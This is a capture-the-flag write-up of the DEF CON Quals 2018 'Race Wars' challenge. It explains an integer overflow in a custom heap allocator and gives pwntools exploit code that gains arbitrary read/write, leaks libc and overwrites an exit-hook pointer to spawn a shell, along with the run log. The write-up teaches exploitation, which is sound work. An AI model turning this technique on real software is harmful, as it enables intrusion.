Defcon Quals 2018 - Race Wars
If you can’t get RIP on this challenge, you don’t belong near a computer.
2f76febe.quals2018.oooverflow.io:31337
Attachment: racewars xpl.py libc-2.23.so pow.py
Team: Samurai
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
I gotta get you racing again
so I can make some money off your ass.
There's a show down in the desert
called Race Wars.
I owe you a 10-second car.
And what this is about,
this is about Race Wars.
time to select your car.
pick:
(1) tires
(2) chassis
(3) engine
(4) transmission
CHOICE:
...
modify your car
pick:
(1) tires
(2) chassis
(3) engine
(4) transmission
(5) buy new part
(6) RACE!
CHOICE:
Racewars lets us build a car (truth is, we don’t have really many options on doing that ;-)), modify it, and race (which we will always lose).
For storing the information of our current car, the binary is using some kind of “custom allocator”. It will allocate 0x2000
bytes on the heap and put a metadata object at the start of it.
struct CustomHeapMetadata {
long *Top;
long *BufferEnd;
long *NextHeap;
long *Unknown;
long Size;
long *BufferStart;
long *Unknown2;
long *Remainder;
ExitFunc *ExitHook;
long *Unknown3;
}
struct ExitFunc {
void* Function;
char* Args;
ExitFunc* Next;
}
Directly after this, a chunk for the parts of our car will be placed
struct Car {
Chassis* Chassis;
char* Tire1;
char* Tire2;
char* Tire3;
char* Tire4;
Transmission* Transmission;
char* Engine;
}
For every part we buy, it will reserve space in this 0x2000
bytes chunk (directly behind the last object), put the part there and increase the Top
pointer accordingly, so it will always point to the next free place in the custom heap.
If we add up more parts than fitting in this 0x2000
chunk, it will alloc
additional space on the heap, and put according pointers into the custom heap masterdata. But since this is not needed for exploiting this binary, we won’t bother with this functionality.
struct Chassis {
long ChassisType;
Chassis *ChassisPointer;
char Name[8];
}
struct Transmission {
long GearCount;
byte Manual;
byte Gears[];
}
0x604000: 0x0000000000000000 0x0000000000002011
0x604010: 0x0000000000604160 0x0000000000606010 <= Custom heap metadata
0x604020: 0x0000000000000000 0x0000000000000000
0x604030: 0x0000000000000fff 0x0000000000604010
0x604040: 0x0000000000000000 0x0000000000000000
0x604050: 0x0000000000000000 0x0000000000000000
0x604060: 0x0000000000604118 0x0000000000604098 <= Car
0x604070: 0x0000000000604098 0x0000000000604098
0x604080: 0x0000000000604098 0x0000000000604148
0x604090: 0x0000000000604130 0x0052000f00410000 <= Tire
0x6040a0: 0x000000000050ffff 0x0000000000000000
0x6040b0: 0x0000000000000000 0x0000000000000000
0x6040c0: 0x0000000000000000 0x0000000000000000
0x6040d0: 0x0000000000000000 0x0000000000000000
0x6040e0: 0x0000000000000000 0x0000000000000000
0x6040f0: 0x0000000000000000 0x0000000000000000
0x604100: 0x0000000000000000 0x0000000000000000
0x604110: 0x0000000000000000 0x0000000000000501 <= Chassis
0x604120: 0x0000000000604118 0x000000617474656a
0x604130: 0x0000000000730204 0x0000000000401f26 <= Engine
0x604140: 0x0000000000000000 0x0000000000000005 <= Transmission
0x604150: 0x0000010203040501 0x0000000000000000
When we have completed the car by buying tires, chassis, engine and transmission we get a new menu, in which we can modify the parts or buy new parts. Buying new parts, will reserve new space in the chunk but not free the existing one, they will just get added to the heap.
We can also do the race, but we’ll definitely lose it.
Though after the race is lost, the custom heap will get cleaned up:
void cleanup_heap(CustomHeapMetadata *heap)
{
for ( exit_func = heap->exit_funcs; exit_func; exit_func = (ExitFunc *)exit_func->Next )
{
if ( exit_func->Function )
exit_func->Function(exit_func->Args);
}
// Just freeing the allocated heap chunks
...
}
Sooo, it will loop through the list of exit functions (or free hooks, whatever ;-)) and call them before freeing the heap chunks. Those functions aren’t set anywhere in the binary itself, but if we’d be able to overwrite them, we could easily call system("/bin/sh")
.
But, how to get there? All components are just added to the heap, and free is never called, so some kind of UAF doesn’t seem to be achievable for now.
Let’s see, how we can modify values on the heap at all
void modify_transmission(Transmission *a1)
{
...
printf("ok, you have a transmission with %zu gears\n", a1->GearCount);
printf("which gear to modify? ");
__isoc99_scanf("%zu", &gear_index);
if ( a1->GearCount > --gear_index )
{
printf("gear ratio for gear %zu is %zu, modify to what?: ", gear_index + 1, (byte)a1->Gears[gear_index]);
__isoc99_scanf("%zu", &new_value);
printf("set gear to %d\n? (1 = yes, 0 = no)", new_value);
__isoc99_scanf("%zu", &choice);
if ( choice )
a1->Gears[gear_index] = new_value;
}
...
}
We can specify the gear (offset) and a new byte value to be written there (we can also use this to see the current byte value at that offset). But the only available transmissions have a gear count of 4
and 5
. Not much to work with, except we would be able to increase the gear count of our transmission.
Modifying the tires work in a similar way. We can choose to modify aspect ratio
, width
, diameter
and construction
which will be stored as int16
on the corresponding offset.
If we could get the binary to allocate a tire “over” a transmission, we can use the tire modification to change the gear count
for our transmission (preferable upgrade it to 0xffffffffffffffff
). This would enable us using modify_transmission
for an arbitrary read and write.
void select_tire(CustomHeapMetadata* heap, int *out_count)
{
...
puts("how many pairs of tires do you need?");
__isoc99_scanf("%d", (long)&count);
if ( count <= 1 )
{
puts("you need at least 4 tires to drive...");
exit(1);
}
int alloc_space = 32 * count;
int16* tire = alloc_space_in_car(heap, alloc_space);
if ( tire )
*out_count = 2 * count;
tire[1] = 0x41;
tire[3] = 0x52;
tire[2] = 0xF;
tire[10] = 0x50
tire[11] = 0
puts("all you can afford is some basic tire...");
puts("but they'll do!\n");
...
return tire;
}
This allocates 32 bytes per tire pair on our custom heap and stores the default settings for them there. But you see? The size for allocation gets stored into an int
value. Looks like an integer overflow.
If you buy 0x8000000
pairs, it will pass the first check. But multiplying it with 32
results in 0x1900000000
overflowing the value, so alloc_space
is 0
. This will return an address on our custom heap but not increase the current Top
pointer. Thus, it will set the tire pointers to this address, and any object which we allocate afterwards, will be put into the same address.
Just what we needed to overlap a tire and a transmission object :)
So let’s sum this up:
- Buy
0x8000000
tire pairs, which will set the tire pointer, but not moveTop
pointer - Buy transmission, ending up inside of our tire object
- Modify tires to increase gear count to
0xffffffffffffffff
- Use transmission modification to leak and write to arbitrary addresses
- Use negative gear offset to read heap pointer from custom heap metadata
def exploit(r):
if not LOCAL:
solve_pow()
r.recvuntil("CHOICE: ")
log.info("Buy 0 tires (Sets tire address, but not increase custom top pointer)")
buy_tires(0x80000000)
log.info("Create transmission (inside tire object)")
buy_transmission(1)
log.info("Complete car")
buy_chassis(1)
buy_engine()
log.info("Upgrade tires to set transmission gear count to max for arbitrary read/write")
upgrade_tires(1, 0xffff)
upgrade_tires(2, 0xffff)
upgrade_tires(3, 0xffff)
upgrade_tires(4, 0xffff)
log.info("Leak heap address with negative offset")
LEAK = read_address(-0x90)
HEAP = LEAK - 0xe0
log.info("HEAP : %s" % hex(HEAP))
[*] Buy 0 tires (Sets tire address, but not increase custom top pointer)
[*] Buy tires : 0x8000000
[*] Create transmission (inside tire object)
[*] Buy transmission : 1
[*] Complete car
[*] Buy chassis : 1
[*] Buy engine
[*] Upgrade tires to set transmission gear count to max for arbitrary read/write
[*] Upgrade tires : 1 => 0xffff
[*] Upgrade tires : 2 => 0xffff
[*] Upgrade tires : 3 => 0xffff
[*] Upgrade tires : 4 => 0xffff
[*] Leak heap address with negative offset
[*] HEAP : 0x604000
So, now that we know, where the heap starts, we can calculate the needed gear offset to read a got
entry from bss
to leak a libc address.
log.info("Leak got address")
PUTS = read_address(-(HEAP + 0xa0 - 0x603020))
libc.address = PUTS - libc.symbols["puts"]
log.info("PUTS : %s" % hex(PUTS))
log.info("LIBC : %s" % hex(libc.address))
[*] Leak got address
[*] PUTS : 0x7ffff7a7c690
[*] LIBC : 0x7ffff7a0d000
Since we now know libc
addresses, we can create an ExitFunc
chunk on the heap containing a call to system
and a pointer to /bin/sh
as argument.
log.info("Write free functions to heap (func + args)")
write_value(HEAP + 0x300 - 0xa0 , libc.symbols["system"])
write_value(HEAP + 0x308 - 0xa0 , next(libc.search("/bin/sh")))
Next, we just have to overwrite the ExitHook
pointer in our custom heap metadata pointing to this chunk.
log.info("Overwrite free function pointer in car")
write_value(HEAP + 0x50 - 0xa0 , HEAP+0x300)
With this, everything’s prepared for the race.
We’ll lose it and the cleanup method will find our ExitHook
pointer and call it, resulting in triggering system("/bin/sh")
log.info("Race to trigger system('/bin/sh')")
r.sendline("6")
[*] '/vagrant/Challenges/dc18/racewars/racewars'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/vagrant/Challenges/dc18/racewars/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 2f76febe.quals2018.oooverflow.io on port 31337: Done
[+] Starting local process './pow.py': pid 1832
[*] Stopped process './pow.py' (pid 1832)
[*] Buy 0 tires (Sets tire address, but not increase custom top pointer)
[*] Buy tires : 0x8000000
[*] Create transmission (inside tire object)
[*] Buy transmission : 1
[*] Complete car
[*] Buy chassis : 1
[*] Buy engine
[*] Upgrade tires to set transmission gear count to max for arbitrary read/write
[*] Upgrade tires : 1 => 0xffff
[*] Upgrade tires : 2 => 0xffff
[*] Upgrade tires : 3 => 0xffff
[*] Upgrade tires : 4 => 0xffff
[*] Leak heap address with negative offset
[*] HEAP : 0xc5a000
[*] Leak got address
[*] PUTS : 0x7fc8d0427690
[*] LIBC : 0x7fc8d03b8000
[*] Write free functions to heap (func + args)
[*] Write to 0xc5a260 : 0x7fc8d03fd390
[*] Write to 0xc5a268 : 0x7fc8d0544d57
[*] Overwrite free function pointer in car
[*] Write to 0xc59fb0 : 0xc5a300
[*] Race to trigger system('/bin/sh')
[*] Switching to interactive mode
choice 6
johnny tran smoked you in his s2k...
$ cat flag
OOO{4 c0upl3 0f n1554n 5r205 w0uld pull 4 pr3m1um 0n3 w33k b3f0r3 r4c3 w4rz}